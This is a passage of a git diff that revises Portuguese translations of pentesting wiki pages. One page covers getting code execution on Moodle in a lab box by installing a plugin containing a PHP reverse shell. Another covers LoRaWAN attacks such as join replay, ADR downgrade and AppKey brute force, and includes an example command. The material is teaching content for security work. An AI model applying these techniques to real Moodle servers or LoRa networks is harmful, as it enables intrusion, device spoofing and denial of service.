http://moodle.schooled.htb/moodle/README.txt -Admin panel - http://moodle.schooled.htb/moodle/login/ +Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt) +Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/) [+] Scan finished (0:00:05.643539 elapsed) ``` @@ -72,7 +72,7 @@ Você precisa ter o papel de **gerente** e você **pode instalar plugins** dentr Se você for gerente, pode ainda precisar **ativar esta opção**. Você pode ver como no PoC de escalonamento de privilégios do moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321). -Então, você pode **instalar o seguinte plugin** que contém o clássico pentest-monkey php r**ev shell** (_antes de enviá-lo, você precisa descompactá-lo, mudar o IP e a porta do revshell e compactá-lo novamente_) +Então, você pode **instalar o seguinte plugin** que contém o clássico rev shell php do pentest-monkey (_antes de enviá-lo, você precisa descompactá-lo, mudar o IP e a porta do revshell e compactá-lo novamente_) {{#file}} moodle-rce-plugin.zip diff --git a/src/todo/radio-hacking/low-power-wide-area-network.md b/src/todo/radio-hacking/low-power-wide-area-network.md index 1622fabc7..e34e84c31 100644 --- a/src/todo/radio-hacking/low-power-wide-area-network.md +++ b/src/todo/radio-hacking/low-power-wide-area-network.md @@ -25,7 +25,7 @@ Long Range (**LoRa**) é atualmente a camada física LPWAN mais implantada e sua | Camada | Fraqueza | Impacto prático | |--------|----------|------------------| | PHY | Jamming reativo / seletivo | 100 % de perda de pacotes demonstrada com um único SDR e <1 W de saída | -| MAC | Repetição de Join-Accept & data-frame (reutilização de nonce, rollover de contador ABP) | Spoofing de dispositivo, injeção de mensagem, DoS | +| MAC | Repetição de Join-Accept & data-frame (reutilização de nonce, rollover de contador ABP) | Spoofing de dispositivo, injeção de mensagens, DoS | | Servidor de Rede | Encaminhador de pacotes inseguro, filtros MQTT/UDP fracos, firmware de gateway desatualizado | RCE em gateways → pivotar para a rede OT/IT | | Aplicação | AppKeys codificadas ou previsíveis | Força bruta/descriptografar tráfego, impersonar sensores | @@ -50,13 +50,13 @@ python3 lorattack/sniffer.py \ # Bruteforce AppKey from captured OTAA join-request/accept pairs python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt ``` -### 2. OTAA join-replay (reutilização de DevNonce) +### 2. Repetição de join OTAA (reutilização de DevNonce) 1. Capture um **JoinRequest** legítimo. 2. Retransmita-o imediatamente (ou incremente o RSSI) antes que o dispositivo original transmita novamente. 3. O servidor de rede aloca um novo DevAddr e chaves de sessão enquanto o dispositivo alvo continua com a sessão antiga → o atacante possui a sessão vaga e pode injetar uplinks forjados. -### 3. Downgrade de Adaptive Data-Rate (ADR) +### 3. Rebaixamento da Taxa de Dados Adaptativa (ADR) Force SF12/125 kHz para aumentar o tempo de transmissão → exaurir o ciclo de trabalho do gateway (negação de serviço) enquanto mantém o impacto na bateria do atacante baixo (apenas envie comandos MAC em nível de rede). @@ -72,7 +72,7 @@ Force SF12/125 kHz para aumentar o tempo de transmissão → exaurir o ciclo de |-------------|-----------|-------| | **LoRaWAN Auditing Framework (LAF)** | Criar/analisar/atacar quadros LoRaWAN, analisadores com suporte a DB, força bruta | Imagem Docker, suporta entrada UDP Semtech | | **LoRaPWN** | Utilitário Python da Trend Micro para força bruta OTAA, gerar downlinks, descriptografar payloads | Demonstração lançada em 2023, SDR-agnóstico | -| **LoRAttack** | Sniffer multi-canal + replay com USRP; exporta PCAP/LoRaTap | Boa integração com Wireshark | +| **LoRAttack** | Sniffer multi-canal + repetição com USRP; exporta PCAP/LoRaTap | Boa integração com Wireshark | | **gr-lora / gr-lorawan** | Blocos OOT do GNU Radio para TX/RX de banda base | Fundação para ataques personalizados | --- @@ -89,6 +89,6 @@ Force SF12/125 kHz para aumentar o tempo de transmissão → exaurir o ciclo de ## Referências -* LoRaWAN Auditing Framework (LAF) – https://github.com/IOActive/laf -* Visão geral do Trend Micro LoRaPWN – https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a +* LoRaWAN Auditing Framework (LAF) – [https://github.com/IOActive/laf](https://github.com/IOActive/laf) +* Visão geral do Trend Micro LoRaPWN – [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a) {{#include ../../banners/hacktricks-training.md}}